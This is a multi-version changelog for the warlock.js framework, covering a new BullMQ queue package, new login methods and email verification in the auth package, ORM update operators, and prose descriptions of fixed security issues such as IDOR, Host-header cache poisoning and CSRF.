@warlock.js/queue ships as a new package (durable BullMQ + Redis background jobs, defineJob, queueConnector(), a bull-board dashboard and a notifications dispatcher). @warlock.js/auth adds email verification, password reset, and login with Google, passkeys and phone OTP, with account linking via a new provider_accounts table. @warlock.js/access makes ABAC strictPolicies deny-by-default (BREAKING) to close a fail-open IDOR path. @warlock.js/web fixes a Host-header cache-poisoning gap in the server page cache key (BREAKING) and a stale-Suspense-fallback replay on cache HIT, and adds linkStylesheetsFor for lazily-imported per-tenant themes. @warlock.js/core adds warlock add queue/warlock add auth-google/warlock add auth-passkeys installers and typed translation-key generation, and drops its dependency on @warlock.js/auth. Generator matrix ran subset scope (baseline, web, queue, access, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-16: "You've my approval for whatever decision you may need to take in this release."
Full release notes or run npx warlock release-notes.
- AddedNew package: durable background jobs on BullMQ + Redis. Redis is required.
- Added
defineJob({ name, queue, attempts, backoff, removeOnComplete, removeOnFail, handle(payload, ctx) })returns a typed job withdispatch(payload, { delay, priority, jobId, attempts, backoff })andfind(id). - AddedJob context:
id,name,queue,attempt,maxAttempts,progress(value),log(line). - Added
failedJobs({ queue, start, end })andretryFailedJob(id, { queue }). - Added
queueConnector()forwarlock.config.ts > connectors: reads thequeueconfig key, starts workers in the app process (turn off withworkers.enabled: false), and on shutdown waits for active jobs up toworkers.shutdownTimeoutbefore closing. - Added
setQueueConfig,startWorkers,closeQueuefor scripts, tests and worker-only processes. - Added
@warlock.js/queue/notifications:queueNotificationDispatcher()sends@warlock.js/notifications.queue()deliveries through BullMQ, with retries anddelaysupport. - Added
queueDashboard(server, { basePath }): mounts bull-board on Warlock's Fastify server.@bull-board/apiand@bull-board/fastifyare optional peers, loaded only when it is called; a missing one throwsQueueDashboardDependencyError. - FixedPortable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- AddedEmail verification and password reset.
sendEmailVerification(user),verifyEmail(token),requestPasswordReset(Model, email)andresetPassword(token, newPassword). Tokens are 32 random bytes, stored only as a SHA-256 hash, single-use (consumed with a conditional update, so of two concurrent uses exactly one succeeds), expiring (auth.verification.expiresIndefault"24h",auth.passwordReset.expiresIndefault"60m") and purpose-bound. A new reset request invalidates the user's earlier unused reset tokens.requestPasswordResetanswers the same for unknown emails.resetPasswordrevokes every access token, refresh token and cookie session throughauthService.revokeAllTokens. Rejected tokens throwInvalidOneTimeTokenError(400,EC008). - AddedNew
one_time_tokenstable (OneTimeTokenmodel, overridable viaauth.oneTimeToken.model), shipped inauthMigrations. Run your migrations. - AddedDelivery goes through
@warlock.js/notifications, now an optional peer dependency. Default mail notifications can be replaced viaauth.verification.notification/auth.passwordReset.notification, and link builders set via.url. If the package is not installed or not configured, calls throwNotificationsUnavailableErrorbefore any token is issued. - Added
requireVerifiedEmail()middleware — rejects users withoutauth.verification.field(defaultemailVerifiedAt) withEmailNotVerifiedError(403,EC007).isEmailVerified(user)helper. - Added
tokenIssueThrottleMiddleware()(every request counts, per email + IP, 3/1h) andtokenConsumeThrottleMiddleware()(failures, per IP, 10/15m), both built onloginThrottleMiddleware. - Added
AuthErrorCodes.EmailNotVerified("EC007") andAuthErrorCodes.InvalidOneTimeToken("EC008"). - AddedLogin with Google, passkeys and phone codes (skill
login-with-providers). Every method ends in the newauthService.completeLogin(user, deviceInfo?), which appliesauth.canAuthenticateand then issues exactly whatauthService.loginissues (same tokens, rows andlogin.successevent).loginnow shares that ending. - Google:startProviderLogin(response, "google")/completeProviderLogin(Model, "google", request, response). Uses the OIDC authorization code flow with PKCE (S256),stateandnonce, kept in a signed 10-minute HttpOnly cookie. The code is exchanged withfetch, and the id_token is verified withjoseagainst Google's JWKS (signature,iss,aud,exp,nonce). Configure it underauth.providers.google. Other providers implement theAuthProvidercontract and register underauth.providers.custom. - Account linking: newprovider_accountstable (ProviderAccount). A link always decides the user. Without one, only a provider-verified email links an existing user or creates a new one; an unverified email throwsProviderEmailNotVerifiedError(403,EC010). Callback rejections throwInvalidProviderCallbackError(400,EC009). - Passkeys:generatePasskeyRegistrationOptions/verifyPasskeyRegistration/generatePasskeyAuthenticationOptions/verifyPasskeyAuthentication, built on@simplewebauthn/server. Challenges are stored hashed inone_time_tokens, expire, and are used once (consumed even when verification fails). The requestOriginmust be inauth.passkeys.origin, and a signature counter that does not advance is rejected. Credentials are stored in the newpasskey_credentialstable (PasskeyCredential). Rejections throwInvalidPasskeyError(400,EC011). - Phone OTP:requestOtp(Model, phone, { channel })/verifyOtp(Model, phone, code). Codes have 6 digits, are stored as a salted HMAC inone_time_tokens(purposeotp), expire after 5 minutes, and are invalidated after 5 attempts (counted atomically). Unknown phones get the same answer. Codes are delivered through the@warlock.js/notificationschannel you configure (auth.otp.channel, default"sms") orauth.otp.send; auth ships no SMS/WhatsApp driver. NewotpRequestThrottleMiddleware()/otpVerifyThrottleMiddleware()presets are built onloginThrottleMiddleware. -joseand@simplewebauthn/serverare new optional peer dependencies, loaded lazily. When one is missing, the call throwsAuthProviderSdkMissingError, whose message nameswarlock add auth-google/warlock add auth-passkeys. - Added
one_time_tokensgains anattemptscolumn, anduser_idbecomes nullable (passkey login challenges have no user yet).authMigrationsnow includesProviderAccountMigrationandPasskeyCredentialMigration. Run your migrations. - Added
auth.cleanup/authService.cleanupExpiredTokens()also hard-deletes expired and consumedone_time_tokensrows via the newOneTimeToken.purgeSpent(). The delete is permanent on every driver, so MongoDB's default "trash" strategy does not copy token hashes intoone_time_tokensTrash. - AddedLocal real-database integration suites (
tests/integration/local, skipped unlessLOCAL_MONGO_*/LOCAL_PG_*are set) prove on MongoDB and Postgres: a one-time token consumed 20 times concurrently succeeds once, 20 concurrent wrong OTP guesses count at most 5 attempts and invalidate the code, a passkey login challenge with no user persists and is consumed, the counter compare-and-set and regression rejection hold, andprovider_accountsallows one link per identity. - AddedPasskey specs now also run the real
@simplewebauthn/serveragainst anode:cryptosoftware authenticator (noneattestation, ES256 assertions). - Added
AuthErrorCodes.InvalidProviderCallback("EC009"),AuthErrorCodes.ProviderEmailNotVerified("EC010") andAuthErrorCodes.InvalidPasskey("EC011"). - Fixed
verifyPasskeyAuthenticationreported a cloned authenticator asreason: "authentication-verification-failed", because@simplewebauthn/serverrejects a non-advancing counter itself before auth's own check runs. It now reports"counter-regression". The response (400,EC011) is unchanged. - SecurityAccess and refresh tokens (and one-time tokens, and passkey credentials) are no longer copied into MongoDB trash collections on delete.
AccessToken,RefreshToken,OneTimeTokenandPasskeyCredentialnow declarestatic deleteStrategy = "permanent", overriding the MongoDB driver's default"trash"strategy. Previously,AccessToken.purgeExpired(),RefreshToken.purgeExpired()/purgeNeverExpiring(), andauthMiddleware's expired-token cleanup all calleddestroy()without a strategy override, so on MongoDB every purge or invalidation copied the live JWT intoaccess_tokensTrash/refresh_tokensTrashbefore deleting the original — leaving usable credential material behind after "revocation".OneTimeToken.purgeSpent()already forced"permanent"per-call (5.13.0 above); that override is now redundant and has been removed in favor of the model-level default. Apps that have been running on MongoDB may want to drop theaccess_tokensTrash,refresh_tokensTrashandone_time_tokensTrashcollections, which may hold copies of now-revoked credentials.
- FixedRestored the portable
typecheckscript and compile access as ESM so workspace source imports usingimport.metaare valid. - FixedAn unpoliced instance-level check was fail-open (allowed via the RBAC grant alone) unless
strictPolicieswas explicitly enabled, which could silently reach a resource-scoped IDOR for a forgottendefinePolicycall. It now fails CLOSED by default;strictPolicies: falsestill restores the old fallback and warns once per permission naming the missing policy and the config key.
- Added
linkStylesheetsFor(request, sourceFile): middleware or a loader declares a lazily imported module (e.g. a per-tenant theme from a staticimport()map), and the module's CSS is added to that response's render-blocking<head>links. Dev resolves it through the module graph, production through the Vite manifest. Before this, a lazy theme painted unstyled until client JS loaded its CSS. An unknown id throwsUnknownStylesheetSourceErrorand a malformed id throwsInvalidStylesheetSourceError. See the newmulti-themeskill. - Added
route.cache.varyBy?: (request) => stringadds a request-derived component to the server page cache key, and a function-formroute.cache.tagsnow receives{ shared }as its second argument, e.g. for tagging entries by theme. - Added
useTrans()now accepts generated, literal translation keys.warlock devaugments web'sTranslationKeyRegistryfrom registeredgroupedTranslationsdictionaries; before generation it safely acceptsstring. - FixedBREAKING: The server page cache key now includes the request
Host. Before, two hosts (tenants) serving the same URL shared one entry, so tenant B could be served tenant A's document andsharedpayload. This also closed a Host-header cache-poisoning path. - FixedThe server page cache now stores the streamed document the MISS visitor received, not the synchronous
renderToStringpass. That pass rendered a not-yet-resolvedReact.lazyboundary as its Suspense fallback, so every later HIT replayed the fallback. - Fixed
warlock dev: aserverCache: truepage no longer answers 500CacheDriverNotInitializedError. An appresolveAliasentry for a framework package made Vite ignoressr.externaland load a second, never-booted copy. Dev SSR now always imports@warlock.js/core,cache,logger,contextandcascadefrom the instance the app booted, as production does, and drops app aliases that would re-inline an SSR-external package. - FixedA page request that fails outside the page pipeline (a cache failure, a module that fails to load) is now logged to stderr as
[warlock:web] page request <METHOD> <path> failed: <error>. Before, the error reached only the app'serror.page.tsxand the server log stayed empty. - Fixed
peerDependencies.reactandreact-domtightened from"*"to^19.0.0—webis only built and tested against React 19 (seedevDependencies), so the peer range now says so instead of accepting any major. - FixedProjection no longer refuses a type-only import (
import type {} from "./x",import type { X } from "./x",import { type X } from "./x") as an attribution-ambiguous statement. A type-only import is erased at build and carries no runtime binding, so it can never reach the client — it was wrongly falling into the "bare side-effect import" refusal. A mixed import (import { type A, B } from "./x") still has its value specifier checked exactly as before.
- Added
warlock add queueinstalls@warlock.js/queue, generates Redis-backedsrc/config/queue.ts, and registersqueueConnector()inwarlock.config.ts. - Added
warlock add auth-googleandwarlock add auth-passkeysinstall@warlock.js/auth's Google sign-in (jose) and passkey (@simplewebauthn/server) login methods. - Added
warlock devgenerates.warlock/typings/translations.d.tsfrom literalgroupedTranslationsdictionaries, augmenting web's typed translation-key registry. - Changed
warlock devnow uses a 12ms quiet window for isolated file saves while extending multi-file bursts up to a 60ms maximum, reducing routine HMR latency without splitting formatter or checkout reloads. - FixedSafely return no alias resolution when a configured alias has no first target.
- Fixed
@warlock.js/coreno longer imports@warlock.js/auth;useHashedPasswordnow calls core's ownhashPassworddirectly instead of an auth-service delegate that only called back into core, and@warlock.js/authmoves to a dev-only dependency. A guard spec now fails the build if anycore/srcmodule imports@warlock.js/auth.
- Added
Model.atomic,Model.findOneAndUpdateandModel.findAndUpdatetake options:upsert,arrayFilters(MongoDB), and onfindOneAndUpdatereturnDocument: "before" | "after"(default stays"after"). A counter or quota can now be filter +$inc/$setOnInsert+ upsert, returning the new document, in one call. - AddedUpdate operators
$setOnInsertand$addToSet, and pipeline (array-form) updates such as[{ $set: { score: { $add: ["$likes", "$shares"] } } }](MongoDB). - Added
trustedFilter: truelets a code-authored conditional filter ({ used: { $lt: 10 } }) through the operator-injection check on these statics. Filters are still checked by default. - AddedPostgres upsert runs as
INSERT … ON CONFLICT … DO UPDATE … RETURNING *. The conflict target is the primary key or a unique index whose columns are all equality keys of the filter. - Added
UnsupportedUpdateOperationError(operation,driver): what a driver throws when it cannot run part of an update. - Added
.lean()on the query builder:get/first/paginate/chunkreturn plain objects typed as the model schema (LeanDocument<T>), with no Model hydration, no driver casting and nofetchedevent.static hiddenfields are still removed. Withwith()/joinWith()it throwsUnsupportedLeanOperationError. About 1.9x faster than a hydrated read for 10k MongoDB documents. - Added
.unwind(field, { preserveNullAndEmptyArrays?, includeArrayIndex? })and.addFields(fields)on the query builder (MongoDB). Both run in call order, so awhere()afterunwind()filters the elements.join({ table, alias, pipeline })now sends a pipeline$lookup. - Added
UnsupportedQueryOperationError(operation,driver): the Postgres builder throws it forunwind()andaddFields(), so these stages are never dropped without an error. - ChangedBREAKING: The Postgres driver now throws
UnsupportedUpdateOperationErrorfor$push/$pull/$addToSet, pipeline updates,arrayFiltersand unknown operators. It used to ignore$push/$pullwithout saying so. - Changed
Model.atomicreturns modified + upserted count. - ChangedPostgres
findOneAndUpdatepicks its row withSELECT … LIMIT 1 FOR UPDATE, matches it by primary key and checks the filter again, so concurrent callers never go past a conditional filter. - Fixed
$decon the MongoDB driver was sent to the server as-is and rejected ("Unknown modifier"). It is now converted to a negative$inc. - FixedThe MongoDB pipeline parser dropped
$vectorSearchand$addFieldsstages, sosimilarTo()ran with no vector search and noscore. It now emits both. - FixedOn MongoDB, a
join()with apipelinesent a$lookupwith no pipeline and no join fields. - FixedOn MongoDB,
joinRaw()andraw()were silently dropped from the pipeline.joinRaw(stage | stages)now emits the stages verbatim in call order;raw(pipeline => …)receives the pipeline built so far and may return a replacement. A SQL string, a non-stage object or a non-array callback result throwsUnsupportedQueryOperationError. - FixedOn MongoDB,
select([...]).orderBy(field)did not sort whenfieldwas not selected, because$projectran before$sort(hydrated, lean,first()andpaginate()reads). The sort now runs before the projection; sorting by a computedselectRawalias still works, also mixed with unselected fields.
- AddedThe optional-feature selector now offers Google sign-in, passkey sign-in, and durable Redis-backed BullMQ queues.
- FixedA
--db=postgresscaffold shippedsrc/config/database.tswith an emptyclientOptions: {}. Cascade'sPostgresPoolConfigextendsPostgresConnectionConfig, whosedatabasefield is required (not optional, unlike Mongo'sMongoClientOptions), so{}failedtsc --noEmiton that exact line before a single line of app code ran.templates/warlock/src/config/database.postgres.tsnow setsdatabaseinsideclientOptionstoo. Verified against a realnpm create warlock@5.12.0 --stack=web --db=postgres --jwtscaffold installed from the registry: this was the onlytscerror once devDependencies installed correctly (see below), and it is gone after the fix. Guarded by a new static check inspecs/template-integrity.spec.ts. - FixedInvestigated a separate report that a
--stack=web --db=postgres --jwtscaffold lacked@warlock.js/weband@types/react/@types/react-dom. Not reproducible against the published 5.12.0 template:package.jsonlists all three correctly, and a clean install (npm ciwithNODE_ENVunset) installs them. The only way to reproduce the missing@types/*packages was installing withNODE_ENV=productionset, which makes npm skipdevDependenciesentirely — an environment condition on the installing machine, not a scaffold defect. No template change made for this report. - FixedThe scaffolded
Usermodel'sverifiedscope queried a booleanemailVerifiedcolumn that has never existed in the template's schema or migration.@warlock.js/auth's email verification (added in 5.13.0) stampsemailVerifiedAt(a nullableDate) instead, treating "verified" as the field holding a value.templates/warlock/src/app/users/models/user/user.model.tsnow declaresemailVerifiedAt: v.date().optional()on the schema and scopesverifiedviaquery.whereNotNull("emailVerifiedAt"); the user migration adds the matching nullabletimestamp()column. Guarded by new checks inspecs/template-integrity.spec.ts.
- AddedScoped UTC day/month budget ledgers through
budget({ scoped }), with an in-memory store and a lazy optional-peer cache store. Shared limits atomically reject overages withScopedBudgetExceededErrorcarrying the ledger key, window, limit, and attempted usage. Cache-backed deployment-wide enforcement requires a cache driver whoseupdateprimitive is cross-node atomic; Cascade storage awaits its atomic upsert API. - Added
cascadeScopedBudgetStore({ model })/cascadeScopedBudgetStore({ table })— a lazy optional Cascade ledger with atomic conditional reservations. Its backing table needs a unique(key, windowStart, unit)index. - Fixed
@warlock.js/cachemarkedoptionalinpeerDependenciesMeta— every runtime import of it insrcisimport type(structural typing only, e.g.config.ts,memory/*.ts,rag/**);@warlock.js/cacheis never required to resolve at runtime for a consumer that doesn't opt into cache-backed features.@warlock.js/loggerstays a required (non-optional) peer: several modules (config.ts,agent/agent.ts,eval/eval-runner.ts,workflow/engine.ts,planner/planner.ts,planner/planner-run.ts,supervisor/execution.ts) import itslogvalue statically at the top level, so the package must be resolvable at load time.
- ChangedPortable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- ChangedPortable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- ChangedPortable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- ChangedPortable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- FixedUse the package-resolved TypeScript binary for type checking.
- FixedRestored the portable
typecheckscript after Core's path-alias resolver was made safe for an absent first target.
- FixedUse the package-resolved TypeScript binary for type checking.
5.12.0September 16, 2026
The authenticated user moves from request.user to request.locals.user (BREAKING, @warlock.js/core / @warlock.js/auth / @warlock.js/access), @warlock.js/auth adds a CSRF Origin check for cookie-authenticated writes plus setAuthCookie() / clearAuthCookie(), and @warlock.js/web ships an opt-in server-side page cache, defer()-ed streaming data with crawler-aware inlining, scroll restoration and locale-direction (RTL) support. @warlock.js/core adds opt-in request tracing and a CSP header; create-warlock scaffolds non-interactively by default and fixes a fresh-scaffold npm run seed failure. Generator matrix ran subset scope (baseline, web rows) against the staged candidate, authorised by Hasan on 2026-09-16: "Yes do it please, don't release before completing all mising points and make sure you have covered everything in the tasks board."
Full release notes or run npx warlock release-notes.
- AddedEmitted scripts carry the request's CSP nonce.
- Added
<ClientOnly>anduseIsClient()— render browser-only UI with a server fallback and no hydration mismatch. - Added
defer()in page loaders — stream a slow top-level loader key in after the shell instead of blocking the first byte on it, read it with React'suse()inside<Suspense>. A rejection or aweb.streaming.deferTimeouttimeout resolves to the nearest<Suspense>error boundary with status 200 already sent, never a different HTTP status. Client navigations stream the same values as NDJSON automatically.metadata()may read only resolved keys — reading a deferred one throwsDeferredKeyInMetadataError, naming the key and the page, in dev and in production. See thestream-deferred-dataskill. - AddedScroll position is restored on back/forward client navigation, keyed per history entry and persisted to
sessionStorage. New navigations scroll to the top, or to the hash fragment when there is one. - Added
localeDirection(locale)anduseTextDirection(): one locale-to-direction resolver shared by server and client. Root templates set<html lang={locale} dir={useTextDirection()}>. - Added
changeLocaleCode(code)switches the active locale without a full reload. The server persists the choice in itslocalecookie when a navigation data request carries?locale=. - AddedPage requests report
loader(per level),render.shellandstream.endphases through core'shttp.tracinghooks when tracing is enabled (off by default). - Added
web.streaming.crawlers— a detected crawler's full-document request now gets everydefer()-ed value awaited and inlined in the HTML before the first byte, so indexing needs nothing else; a rejection renders the ordinary error boundary with its real status. The document still carries the normal__WARLOCK_DEFER__settlement scripts so a JS-capable crawler hydratesuse(data.key)through the existing registry same as any other visitor. Detection is case-insensitive against a documented built-in user-agent list (googlebot, bingbot, yandex, duckduckbot, baiduspider, slurp, applebot, facebookexternalhit, twitterbot, linkedinbot, discordbot, slackbot, telegrambot, whatsapp, embedly, pinterest); setcrawlers: falseto disable detection, orcrawlers: { userAgents, detect }to customise it —detectwins outright when given. A page that usesdefer()now sendsVary: User-Agenton its document response; a page that never defers is unaffected. See thestream-deferred-dataskill's "Crawlers" section. - AddedA server-side page cache, opt-in per route. Extends
route.cachewithserverCache?: boolean,tags?: string[] | ((data) => string[]), and an optionalttl— separate frompublic/maxAge, which only decide the downstream CDN'sCache-Control. AserverCacheroute holds its resolved document ANDx-warlock-dataJSON, and serves a HIT without re-running loaders or rendering. The cache key is the normalised path, sorted query, resolved locale and representation (html/json); a request for the NDJSON representation is served the fully-resolvedjsonvariant instead of streaming. A request carrying anAuthorizationheader or the configured auth cookie (auth.cookie.name, defaultaccess_token) always bypasses the cache, before any loader runs. Storage requiresGET,status === 200, noSet-Cookie, and a provably unauthenticated request — the same fail-closed rule already governingCache-Control. Responses carry a newx-warlock-cache: hit | miss | bypassheader. Invalidate stored entries withinvalidatePageCache(tags), imported from the server-only subpath@warlock.js/web/page-cache(it reaches@warlock.js/cache, so it stays off the client-reachable root barrel).@warlock.js/cacheis an optional peer, loaded only when a route actually opts in; enablingserverCachewith an in-process cache driver (memory/LRU/memory-extended) in a clustered deployment logs a one-time warning, since invalidation on one worker never reaches another — use a shared driver (redis/pg) for cluster-wide invalidation. See thecreate-a-pageskill's "Server-side page cache" section. - ChangedThe page-data wire format is now devalue, not plain JSON. Dates, Maps and Sets (and BigInts,
undefinedinside an object, repeated references, and cyclic structures) now arrive in the browser intact — as realDate/Map/Setinstances, not flattened strings or dropped keys — forappData,layoutData,pageData, and adefer()red value's settlement, on the initial document, a client navigation's data response, and its NDJSON stream. A loader value devalue cannot serialize (a class instance it does not recognize, a function, a symbol) now fails the build loudly in dev and production, naming the loader level (app/layout/page), the key path, and the page route — give it a resource or atoJSON()instead.sharedis unaffected: it keeps its own, stricter gate. See theload-page-dataskill's "What survives the wire" section. - ChangedThe dev and production page installers now share the layout-prefix table and the not-found route's options instead of implementing each twice; parity checks cover both.
- ChangedPages are rendered with React's streaming renderer. The response still waits for loaders, validation and middleware, so status codes, headers and cookies are unchanged — the document simply starts arriving sooner.
- Fixed
document.documentElement'slang/dirnow follow a client-side locale switch —changeLocaleCode(), and any navigation or refresh whose payload carries a differentlocale. PreviouslyuseLocale()/useTextDirection()updated in-page immediately, butdocumentElementkept the last full load'slang/diruntil a reload, becauseroot.tsxsits outside the hydrated subtree. - FixedA page middleware that short-circuits a full page load now always answers with something, never a silently empty document. Previously, a middleware that returned a value WITHOUT writing the reply itself (e.g.
response.setStatusCode(403); return { error }, or a plainreturn { message }) produced a blank document at that status — the returned value was recorded but never used. A middleware that already wrote its own reply (response.redirect(),.forbidden(), any call reaching.send()) was and is unaffected: the wire already carried the real answer. Now: a>= 400short-circuit renders yourerror.page.tsxboundary with that status and the returned value attached to the error; a2xxshort-circuit sends the returned value as the body, unchanged (JSON-stringified if it's an object) — a page middleware returning 2xx content replaces the page. Client navigations (data requests) are byte-identical to before.
- Added
authService.setAuthCookie(response, token, options?)andauthService.clearAuthCookie(response, options?)— the write side of thecookie:<name>token sourceauthMiddleware([], "cookie:<name>")has accepted since 5.0.0 (card 50bf4f1a).setAuthCookieaccepts a raw token string or anAccessTokenOutput(derivingMax-AgefromexpiresAtautomatically); both are explicit app-controller calls —login/logoutnever set cookies implicitly, so upgrading never starts emittingSet-Cookiefor an existing bearer-only app. Cookie name/path are configurable via the newauth.cookieconfig block (defaults:"access_token"/"/"); attribute flags (HttpOnly,SameSite=Lax,Secureoutside dev) are not — they come from core'ssecureCookieDefaults(), the framework-wide floor. - ChangedBREAKING: the authenticated user now lives at
request.locals.user, declared by@warlock.js/auth.request.useris removed (in development it throws with the new location).@warlock.js/auth's middleware writesrequest.locals.userafter a successful token resolution and clears it (= undefined) on a forged, malformed, expired, or wrong-type token;RequestUser— the augmentable, empty-by-default interface apps narrow to their own model — moved from@warlock.js/coreinto@warlock.js/authalongside it. - SecurityCSRF Origin check for cookie-authenticated writes.
authMiddlewarenow automatically rejects, with403(AuthErrorCodes.CsrfOriginMismatch,"EC006"), any request whose credential came from acookie:source and whose method is unsafe (POST/PUT/PATCH/DELETE) unlessOrigin(or, absent that,Referer) names the request's own origin or an entry in the newauth.csrf.allowedOriginsconfig (default[]). A request with neither header is rejected, fail-closed. Header-token authentication and safe methods (GET/HEAD/OPTIONS) are completely unaffected. This closes the residual CSRF gapSameSite=Laxalone leaves open for cookie auth (a same-site GET redirect chain, or a client that ignoresSameSite); a double-submit token mechanism is deferred to a later release. - SecurityThe CSRF Origin check's own-origin comparison includes the request's port (read from the
Hostheader, since core'srequest.hostnamenever carries one), with default ports (:80onhttp,:443onhttps) normalised as equivalent to no port. A same-origin cookie-authenticated write on a non-default port — e.g. everywarlock devsession — is now correctly allowed instead of being rejected with403 EC006.
- AddedOpt-in request tracing (
http.tracing): vendor-neutralonRequestStart/onRequestEnd/onPhasehooks fired aroundroute.match,middleware,validation,handler, andresponse.write, with the trace id derived from an inbound W3Ctraceparentheader (falling back torequest.id). Off by default and zero-overhead when disabled; a throwing hook is caught and reported once, never breaking the request. No new response header — apps still correlate through the existingX-Request-Idecho. See therequest-tracingskill. - AddedOpt-in
Content-Security-Policyheader (http.csp), using the per-request nonce the framework already generates; report-only mode supported. - Added
Response.streamReact()and the underlyingstreamReactResponse()helper (@warlock.js/core's Stage 1 streaming SSR seam): pipe a React server stream (renderToPipeableStream) onto the raw response after writing the already-committed status and headers, aborting the render if the client disconnects.@warlock.js/webuses this exclusively to stream a page document — it never touches the raw response itself. - Changed
container.get(key)now throws a named error when the key is not registered, instead of returningundefinedwhile typed as present. Usecontainer.tryGet(key)where the value is genuinely optional. - ChangedBREAKING:
request.userandclearCurrentUser()removed from the HTTP request;RequestUsermoved to@warlock.js/auth. The authenticated user now lives atrequest.locals.user, a key@warlock.js/authdeclares via module augmentation onRequestLocalsand writes from its middleware. Readingrequest.userin development throws a newRequestUserMovedErrornamingrequest.locals.user(kept for one release as a migration diagnostic; removal is documented, not silent).decodedAccessTokenand its cache-mark behavior (request.locals.authDerived) are unchanged.useCurrentUser()/requestContext.getUser()now readrequest.locals.userand returnunknown/the caller's generic instead of the removedRequestUsertype — see@warlock.js/auth'scurrentUser()for a typed wrapper. - FixedRenaming or moving a file under
warlock devno longer prints a falseENOENTfailure before the route is rewired. - Fixed
warlock routes --jsonnow prints only JSON on stdout. The› Running <command>...header moved to stderr, like the completion banner. - FixedProduction build contribution hooks (
generate/emit) sawoutFile,entryPath,singleBundle,esmShimandbannerasundefined, because bundling deleted them from the shared build options. The bundler now works on its own copy.
- Changed
create-warlockasks at most one question (API-only or full-stack web); every other choice is a flag with a default, printed after scaffolding. Fully non-interactive with--yes;--interactiverestores the long form;--agentspicks agent-kit targets (defaultclaude). - Fixed
npm run seedfailed on a fresh scaffold: the generateduserSchemarequiredimageandlastLogin, but neither the seed data nor a password login ever supplies them. Both are now.optional()on the model —imageis still required at registration by the controller's owncreate-user.schema.ts, andlastLoginis only ever written by the social-login handler, so a user who has never logged in correctly has neither.
- ChangedFollows
@warlock.js/coreand@warlock.js/auth's 5.12.0 move of the authenticated user fromrequest.usertorequest.locals.user:gate()/gateAny()/gateAll()now readrequest.locals.userinstead of the removedrequest.user. No change tocan()/canAny()/canAll()themselves, and no change to the app-side contract — an app still augmentsRequestUser(now declared by@warlock.js/auth) to its ownAuth-derived model.
- FixedAtomic writes on Windows no longer fail intermittently with
EPERM/EBUSYwhen another process briefly holds the target; the rename is retried with a short backoff, and a clearAtomicWriteErroris thrown if it never succeeds.
5.11.0September 14, 2026
A page load that fails validation now renders your error page with status 400 instead of a blank page (@warlock.js/web), v.boolean().accepted() / .declined() now accept the form strings they advertise (@warlock.js/seal), and @warlock.js/cascade's pg / mongodb drivers are optional peers so a no-database project installs cleanly. warlock dev reloads backend files sooner and prints hmr update only once the change is live; create-warlock drops the misleading guardedAdmin() helper.
Full release notes or run npx warlock release-notes.
- ChangedA page load that fails
validationnow renders yourerror.page.tsxwith status 400 and the validation errors, instead of a blank 400 response. Client navigations are unchanged. If you relied on the empty body, check your error page handles a 400. - ChangedThe dev and production page installers now compose a layout level's middleware and loaders through one shared rule, and a parity check covers middleware and loaders as well as rendering and prefixes.
- Fixed
v.boolean().accepted()/.declined()(and their conditional variants) rejected every string form they advertised —"yes","on","1"— because the boolean type rule ran first. They now parse those form values into a real boolean.
- FixedA project that uses no database — or only one of PostgreSQL / MongoDB — no longer fails
npm lswith missingpg/mongodbpeers; both drivers are now optional peers, and you install the one you use.
- AddedTests and documentation for optional file fields:
v.file().optional()skips an absent upload and reports a present non-file value as a normal validation error. - ChangedBackend file changes are picked up sooner in
warlock dev(event debounce 150ms → 50ms). - Fixed
warlock devprintedhmr updatefor a backend file before the new code was live, so a request made right after the line could still get the old response. The line now prints once the reload has finished and shows how long it took.
- RemovedThe generated
guardedAdmin()router helper. It only checked that the user was signed in — any user type — while its name and/adminprefix implied an admin-only area. New projects getguarded()(any authenticated user) and a documented example for restricting a group to a user type. Existing projects keep their own copy of the file; review it if you usedguardedAdmin.
5.10.0September 14, 2026
@warlock.js/seal adds v.boolean().coerce() for query-string booleans ("true"/"1" → true, "false"/"0" → false), strict by default. @warlock.js/web pins one 400 for a page whose validation = { params, query } fails in both parts and corrects the load-page-data skill; create-warlock ships a formatted postgres template.
Full release notes or run npx warlock release-notes.
- Added
.coerce()onv.boolean()— opt-in query-string coercion ("true"/"1"→true,"false"/"0"→false).
- FixedThe
load-page-dataskill described the withdrawn{ schema }-only validation shape and a 422 status; it now documentsvalidation = { params, query }and its single 400. - RemovedUnused internal
RouteValidationError.
- FixedA postgres scaffold shipped
src/config/database.postgres.tsunformatted, so a new project's first dev run flagged it. The template is formatted, and the template-format check now runs as part ofcreate-warlock's own test suite.
5.9.0September 14, 2026
@warlock.js/seal adds opt-in query-string coercion — v.int().coerce() (and the number family) parse a numeric-shaped string into a number while strict validation stays the default. @warlock.js/web now warns when a .client module is reached from the server import graph (the suffix is a developer marker, not enforced isolation) and pins dev/prod route-table parity as an always-on gate; @warlock.js/auth documents one app-owned optional-auth middleware as the sanctioned pattern, with auth.pageAuth as its adapter.
Full release notes or run npx warlock release-notes.
- Added
.coerce()modifier on the number validators (int/number/float/numeric): opt into parsing a numeric-shaped string (e.g. a query-string param) into a number while the type rule stays strict.v.int()is unchanged by default; chain.coerce()to accept"2"as2. The inferred output type is unaffected.
- AddedDev diagnostic when a
.clientmodule is reached from the server import graph. The.clientsuffix is a developer marker, not enforced isolation (the import graph decides where code runs); this emits a named, non-fatal warning identifying the offending edge instead of silently over-promising.
5.8.0September 13, 2026
Auth token migrations now match your user model's primary key (integer or uuid), fixing a fresh app's first login, and a guarded page can redirect a logged-out browser to a login route (opt-in auth.pageAuth). Custom warlock <command> files resolve the app/* alias, --db=postgres scaffolds a real Postgres config/database.ts, and dev SSR no longer flashes unstyled. Fixes across core, auth, web, cascade and create-warlock.
Full release notes or run npx warlock release-notes.
- AddedGuarded page routes can redirect a logged-out browser to a configurable login path instead of returning a raw JSON 401 — opt-in via
auth.pageAuth.loginPath(API routes still return the JSON 401). - FixedThe
access_tokens/refresh_tokensmigrations now derive theuser_idcolumn type from the user model's primary key (viaforeignId), so a fresh app with an integer-PK user can log in — the hardcodeduuiduser_idpreviously failed the first login with no diagnostic.
- Added
